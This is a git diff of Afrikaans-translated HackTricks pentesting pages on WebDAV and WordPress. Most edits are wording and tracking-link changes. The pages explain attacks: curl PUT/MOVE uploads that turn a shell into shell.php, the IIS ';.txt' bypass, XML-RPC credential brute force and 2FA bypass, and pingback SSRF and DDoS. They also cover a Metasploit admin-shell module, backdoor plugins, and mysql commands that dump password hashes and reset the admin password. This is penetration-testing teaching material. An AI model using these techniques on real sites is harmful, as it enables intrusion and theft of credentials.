Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) om maklik te bou en **werkvloei outomatiseer** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}

View file

@ -3,20 +3,20 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
@ -28,18 +28,18 @@ Toegang tot die WebDav-bediener vereis tipies **geldige geloofsbriewe**, met [**
Om beperkings op lêeroplaais te oorkom, veral dié wat die uitvoer van bedienerkant-skripte voorkom, kan jy:
* **Laai** lêers met **uitvoerbare uitbreidings** direk op as dit nie beperk word nie.
* **Hernoem** opgelaai nie-uitvoerbare lêers (soos .txt) na 'n uitvoerbare uitbreiding.
* **Kopieer** opgelaai nie-uitvoerbare lêers en verander hul uitbreiding na een wat uitvoerbaar is.
* **Lêers oplaai** met **uitvoerbare uitbreidings** direk as dit nie beperk word nie.
* **Hernoem** oplaai nie-uitvoerbare lêers (soos .txt) na 'n uitvoerbare uitbreiding.
* **Kopieer** oplaai nie-uitvoerbare lêers en verander hul uitbreiding na een wat uitvoerbaar is.
## DavTest
**Davtest** probeer om **verskeie lêers met verskillende uitbreidings** op te **laai** en **te toets** of die uitbreiding **uitgevoer** word:
**Davtest** probeer om **verskeie lêers met verskillende uitbreidings** te **oplaai** en te **toets** of die uitbreiding **uitgevoer** word:
```bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
```
## Voorbeeld:
## Afleweringsvoorbeeld:
![](<../../.gitbook/assets/image (851).png>)
@ -47,7 +47,7 @@ Dit beteken nie dat **.txt** en **.html-uitbreidings** uitgevoer word nie. Dit b
## Cadaver
Jy kan hierdie instrument gebruik om aan die WebDav-bediener te **koppel** en **handmatig** aksies (soos **oplaai**, **skuif** of **verwyder**) uit te voer.
Jy kan hierdie instrument gebruik om aan die WebDav-bediener te **koppel** en **handelinge** (soos **oplaai**, **skuif** of **verwyder**) **handmatig** uit te voer.
```
cadaver <IP>
```
@ -55,27 +55,27 @@ cadaver <IP>
```
curl -T 'shell.txt' 'http://$ip'
```
## MOVE versoek
## SKUIF versoek
```
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) om maklik **werkstrome** te bou en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
## IIS5/6 WebDav Swakheid
Hierdie swakheid is baie interessant. Die **WebDav** staan **nie toe** om lêers met die uitbreiding **.asp** te **oplaai** of **hernoem** nie. Maar jy kan dit **verbygaan** deur aan die einde van die naam **";.txt"** by te voeg en die lêer sal **uitgevoer** word asof dit 'n .asp-lêer was (jy kan ook **".html" in plaas van ".txt"** gebruik, maar **moet die ";" nie vergeet nie**).
Daarna kan jy jou dop as 'n ".**txt-lêer**" oplaai en dit na 'n ".asp;.txt-lêer" **kopieer/verskuif**. Deur daardie lêer deur die webbediener te benader, sal dit **uitgevoer** word (cadaver sal sê dat die skuifaksie nie gewerk het nie, maar dit het).
Daarna kan jy jou dop as 'n ".**txt-lêer**" oplaai en dit na 'n ".asp;.txt" lêer **kopieer/verskuif**. Deur daardie lêer via die webbediener te **benader**, sal dit **uitgevoer** word (cadaver sal sê dat die skuifaksie nie gewerk het nie, maar dit het).
![](<../../.gitbook/assets/image (1092).png>)
## Poslegitimasie
## Pos-gedragsbewyse
As die Webdav 'n Apache-bediener gebruik het, moet jy kyk na gekonfigureerde webwerwe in Apache. Gewoonlik:\
_**/etc/apache2/sites-enabled/000-default**_
@ -91,7 +91,7 @@ AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
```
Soos u kan sien, is daar die lêers met die geldige **geloofsbriewe** vir die **webdav**-bediener:
Soos u kan sien, is daar die lêers met die geldige **gelde** vir die **webdav**-bediener:
```
/etc/apache2/users.password
```
@ -111,22 +111,22 @@ wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}

View file

@ -10,22 +10,22 @@ Ander maniere om HackTricks te ondersteun:
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
## Basiese Inligting
**Geüploade** lêers gaan na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
**Temalêers kan gevind word in /wp-content/themes/,** so as jy 'n bietjie php van die tema verander om RCE te kry, sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: Deur die **tema twentytwelve** te gebruik, kan jy die **404.php**-lêer in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**Opgelaaide** lêers gaan na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
**Temalêers kan gevind word in /wp-content/themes/,** so as jy 'n bietjie php van die tema verander om RCE te kry, sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: Deur die **twintigtwintig-tema** te gebruik, kan jy die **404.php**-lêer **toegang** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**'n Ander nuttige URL kan wees:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
In **wp-config.php** kan jy die hoofwagwoord van die databasis vind.
@ -42,9 +42,9 @@ Verkieslike aanmeldingspaaie om te kontroleer: _**/wp-login.php, /wp-login/, /wp
* `/wp-admin/wp-login.php`
* `/login.php`
* `/wp-login.php`
* `xmlrpc.php` is 'n lêer wat 'n kenmerk van WordPress verteenwoordig wat data moontlik maak om met HTTP as die vervoermeganisme en XML as die enkoderingsmeganisme oorgedra te word. Hierdie tipe kommunikasie is vervang deur die WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
* `xmlrpc.php` is 'n lêer wat 'n kenmerk van WordPress verteenwoordig wat data moontlik maak om oorgedra te word met HTTP wat as die vervoermeganisme optree en XML as die enkoderingsmeganisme. Hierdie tipe kommunikasie is vervang deur die WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
* Die `wp-content`-map is die hoofgids waar plugins en temas gestoor word.
* `wp-content/uploads/` Is die gids waar enige lêers wat na die platform geüploa word, gestoor word.
* `wp-content/uploads/` Is die gids waar enige lêers wat na die platform gelaai is, gestoor word.
* `wp-includes/` Dit is die gids waar kernlêers gestoor word, soos sertifikate, lettertipes, JavaScript-lêers, en widgets.
* `wp-sitemap.xml` In Wordpress-weergawes 5.5 en hoër, genereer Wordpress 'n sitemap-XML-lêer met alle openbare plasings en openbaar navraagbare plasingstipes en taksonomieë.
@ -52,10 +52,10 @@ Verkieslike aanmeldingspaaie om te kontroleer: _**/wp-login.php, /wp-login/, /wp
* Die `wp-config.php`-lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasisgasheer, gebruikersnaam en wagwoord, outentiseringsleutels en soute, en die databasistabelvoorvoegsel. Hierdie konfigurasie-lêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees vir foutopsporing.
### Gebruikers Toestemmings
### Gebruikersregte
* **Administrateur**
* **Redakteur**: Publiseer en bestuur sy en ander se plasings
* **Redakteur**: Publiseer en bestuur sy eie en ander se plasings
* **Outeur**: Publiseer en bestuur sy eie plasings
* **Bydraer**: Skryf en bestuur sy plasings, maar kan dit nie publiseer nie
* **Intekenaar**: Blaai deur plasings en wysig hul profiel
@ -97,8 +97,6 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Haal weergawes in die algemeen uit
{% endcode %}
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@ -108,22 +106,22 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik en **outomatiseer werkafloeie** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
## Aktiewe opname
### Inproppe en Temas
### Invoegtoepassings en Temas
Jy sal waarskynlik nie in staat wees om al die Inproppe en Temas te vind nie. Om almal te ontdek, sal jy nodig wees om **aktief 'n lys van Inproppe en Temas te Brute Force** (hopelik vir ons is daar geoutomatiseerde gereedskap wat hierdie lyste bevat).
Jy sal waarskynlik nie in staat wees om al die Invoegtoepassings en Temas te vind nie. Om almal te ontdek, sal jy nodig hê om **aktief 'n lys van Invoegtoepassings en Temas te Brute Force** (hopelik vir ons is daar outomatiese gereedskap wat hierdie lyste bevat).
### Gebruikers
**ID Brute**
Jy kry geldige gebruikers van 'n WordPress-webwerf deur gebruikers-ID's te Brute Force:
Jy kan geldige gebruikers van 'n WordPress-webwerf kry deur gebruikers-ID's te Brute Force:
```
curl -s -I -X GET http://blog.example.com/?author=1
```
@ -135,17 +133,17 @@ Jy kan ook probeer om inligting oor die gebruikers te kry deur navrae te doen:
```
curl http://blog.example.com/wp-json/wp/v2/users
```
'n Ander `/wp-json/` eindpunt wat 'n bietjie inligting oor gebruikers kan onthul is:
'n Ander `/wp-json/` eindpunt wat 'n bietjie inligting oor gebruikers kan onthul is:'
```
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Let wel dat hierdie eindpunt slegs gebruikers blootstel wat 'n pos geplaas het. **Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het, sal verskaf word**.
Merk op dat hierdie eindpunt slegs gebruikers blootstel wat 'n pos geplaas het. **Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het, sal verskaf word**.
Let ook daarop dat **/wp-json/wp/v2/pages** IP-adresse kan laat uitlek.
Merk ook op dat **/wp-json/wp/v2/pages** IP-adresse kan laat uitlek.
#### Login gebruikersnaam enumerasie
Wanneer jy inlog by **`/wp-login.php`** is die **boodskap anders** as die aangeduide **gebruikersnaam bestaan of nie**.
Wanneer jy inlog by **`/wp-login.php`** is die **boodskap** **verskillend** as die aangeduide **gebruikersnaam bestaan of nie**.
### XML-RPC
@ -176,7 +174,11 @@ Om te sien of dit aktief is, probeer om toegang te verkry tot _**/xmlrpc.php**_
```
Die boodskap _"Verkeerde gebruikersnaam of wagwoord"_ binne 'n 200-kode respons behoort te verskyn as die geloofsbriewe nie geldig is nie.
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../.gitbook/assets/image (721).png>)
Met die regte geloofsbriewe kan jy 'n lêer oplaai. In die respons sal die pad verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```markup
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -206,18 +208,18 @@ Die boodskap _"Verkeerde gebruikersnaam of wagwoord"_ binne 'n 200-kode respons
</params>
</methodCall>
```
Ook is daar 'n **vinniger manier** om geloofsbriewe met geweld te ontsluit deur **`system.multicall`** te gebruik aangesien jy verskeie geloofsbriewe op dieselfde versoek kan probeer:
Ook is daar 'n **vinniger manier** om wagwoordkredensiale met behulp van **`system.multicall`** te kragtig, aangesien jy verskeie kredensiale op dieselfde versoek kan probeer:
<figure><img src="../../.gitbook/assets/image (628).png" alt=""><figcaption></figcaption></figure>
**Bypass 2FA**
Hierdie metode is bedoel vir programme en nie vir mense nie, en oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige geloofsbriewe het maar die hoofingang word beskerm deur 2FA, **mag jy dalk xmlrpc.php misbruik om in te teken met daardie geloofsbriewe deur 2FA te omseil**. Let daarop dat jy nie al die aksies kan uitvoer wat jy deur die konsole kan doen nie, maar jy kan dalk steeds by RCE uitkom soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s)
Hierdie metode is bedoel vir programme en nie vir mense nie, en oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige kredensiale het maar die hoofingang deur 2FA beskerm word, **kan jy dalk xmlrpc.php misbruik om met daardie kredensiale in te teken en 2FA te omseil**. Let daarop dat jy nie al die aksies kan uitvoer wat jy deur die konsole kan doen nie, maar jy kan dalk steeds tot RCE kom soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s)
**DDoS of poort skandering**
**DDoS of poort aftasting**
As jy die metode _**pingback.ping**_ binne die lys kan vind, kan jy die Wordpress laat 'n willekeurige versoek na enige gas/hefpoort stuur.\
Dit kan gebruik word om **duisende** Wordpress **webwerwe** te vra om na 'n **lokasie** te **toegang** (sodat 'n **DDoS** in daardie lokasie veroorsaak word) of jy kan dit gebruik om **Wordpress** te laat **skandering** van 'n interne **netwerk** (jy kan enige poort aandui).
As jy die metode _**pingback.ping**_ binne die lys kan vind, kan jy die Wordpress 'n willekeurige versoek stuur na enige gas/hefboom.\
Dit kan gebruik word om **duisende** Wordpress **webwerwe** te vra om **toegang** tot een **plek** (sodat 'n **DDoS** in daardie plek veroorsaak word) of jy kan dit gebruik om **Wordpress** te laat **aftas** van 'n interne **netwerk** (jy kan enige poort aandui).
```markup
<methodCall>
<methodName>pingback.ping</methodName>
@ -229,7 +231,7 @@ Dit kan gebruik word om **duisende** Wordpress **webwerwe** te vra om na 'n **lo
```
![](../../.gitbook/assets/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
Indien jy **faultCode** met 'n waarde **groter** as **0** (17) kry, beteken dit dat die poort oop is.
As jy **faultCode** met 'n waarde **groter** as **0** (17) kry, beteken dit dat die poort oop is.
Neem 'n kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer hoe om hierdie metode te misbruik om 'n DDoS te veroorsaak.
@ -249,13 +251,13 @@ Neem 'n kyk na die gebruik van **`system.multicall`** in die vorige afdeling om
Hierdie lêer bestaan gewoonlik onder die wortel van die Wordpress-webwerf: **`/wp-cron.php`**\
Wanneer hierdie lêer **toegang** kry, word 'n "**swaar**" MySQL **navraag** uitgevoer, wat deur **aanvallers** gebruik kan word om 'n **DoS** te **veroor**.\
Daarbenewens word die `wp-cron.php` standaard opgeroep met elke bladsy wat gelaai word (telkens wanneer 'n klient enige Wordpress-bladsy aanvra), wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS).
Ook, standaard, word die `wp-cron.php` elke keer geroep wanneer 'n kliënt enige Wordpress-bladsy aanvra, wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS).
Dit word aanbeveel om Wp-Cron uit te skakel en 'n werklike cronjob binne die gasheer te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak).
### /wp-json/oembed/1.0/proxy - SSRF
Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te benader en die Wordpress-webwerf kan 'n versoek aan jou rig.
Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te benader en die Worpress-webwerf kan 'n versoek aan jou rig.
Dit is die reaksie wanneer dit nie werk nie:
@ -276,14 +278,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik en **outomatiseer werkafloeie** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) om maklik en **outomatiseer werkafloeie** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
## Kry toegang deur 'n bietjie te oorskryf
Meer as 'n werklike aanval is dit 'n nuuskierigheid. In die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bit van enige wordpress-lêer omkeer. So kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omkeer om die NIET (`!`) operasie te NOP.
Meer as 'n werklike aanval is dit 'n nuuskierigheid. In die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bit van enige wordpress-lêer omkeer. So kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omkeer om die NOT (`!`) operasie te NOP.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
@ -306,14 +308,12 @@ Jy kan gebruik:
```
use exploit/unix/webapp/wp_admin_shell_upload
```
### Om 'n sessie te kry.
## Inprop RCE
### PHP inprop
Dit mag moontlik wees om .php lêers as 'n inprop te laai.\
Skep jou php agterdeur deur byvoorbeeld:
Skep jou php agterdeur deur byvoorbeeld te gebruik:
![](<../../.gitbook/assets/image (183).png>)
@ -348,7 +348,7 @@ Hierdie metode behels die installasie van 'n skadelike inprop wat bekend is as k
3. **Inprop Aktivering**: Sodra die inprop suksesvol geïnstalleer is, moet dit deur die dashboard geaktiveer word.
4. **Uitbuiting**:
* Met die inprop "reflex-gallery" geïnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar.
* Die Metasploit-raamwerk bied 'n uitbuiting vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke bevele uit te voer, kan 'n meterpreter-sessie tot stand gebring word, wat ongemagtigde toegang tot die webwerf verleen.
* Die Metasploit-raamwerk bied 'n uitbuit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke bevele uit te voer, kan 'n meterpreter-sessie tot stand gebring word, wat ongemagtigde toegang tot die webwerf verleen.
* Dit word opgemerk dat hierdie net een van die baie metodes is om 'n WordPress-webwerf uit te buit.
Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboard uitbeeld vir die installering en aktivering van die inprop. Dit is egter belangrik om daarop te let dat dit onwettig en oneties is om kwesbaarhede op hierdie manier uit te buit sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs binne 'n wettige konteks, soos deurdringende toetsing met uitdruklike toestemming.
@ -361,7 +361,7 @@ Haal gebruikersname en wagwoorde uit:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Verander admin wagwoord:
Verander administrateur wagwoord:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
@ -387,17 +387,17 @@ Ook, **installeer slegs vertroude WordPress-inproppe en -temas**.
* Verwyder verstek **admin** gebruiker
* Gebruik **sterk wagwoorde** en **2FA**
* Ondersoek gebruikers se **regte** periodiek
* Deurlopend **hersien** gebruikers **regte**
* **Beperk aanmeldingspogings** om Brute Force aanvalle te voorkom
* Hernoem **`wp-admin.php`** lêer en staan slegs toegang intern of vanaf sekere IP-adresse toe.
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome outomaties** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
<details>
@ -405,7 +405,7 @@ Kry Vandag Toegang:
